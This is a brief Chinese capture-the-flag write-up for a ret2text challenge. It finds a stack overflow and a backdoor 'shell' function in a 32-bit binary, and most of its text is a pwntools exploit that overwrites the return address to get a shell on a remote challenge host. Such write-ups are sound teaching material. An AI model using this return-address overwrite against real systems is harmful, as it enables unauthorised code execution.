一道简单的ret2text
file 和checksec 检查文件
32位,直接打开
查看函数
发现后门函数 shell,并且在vuin函数存在栈溢出
所以
exp
from pwn import *
i = remote('node5.anna.nssctf.cn',28097)
shell = 0x804851B
payload = b'a'*(0x18+4) + p32(shell)
#b前缀可以创建字节字符串,而不是普通的Unicode字符串。
#0x18距离ebp的距离,32位加4,64加8
i.sendline(payload)
i.interactive()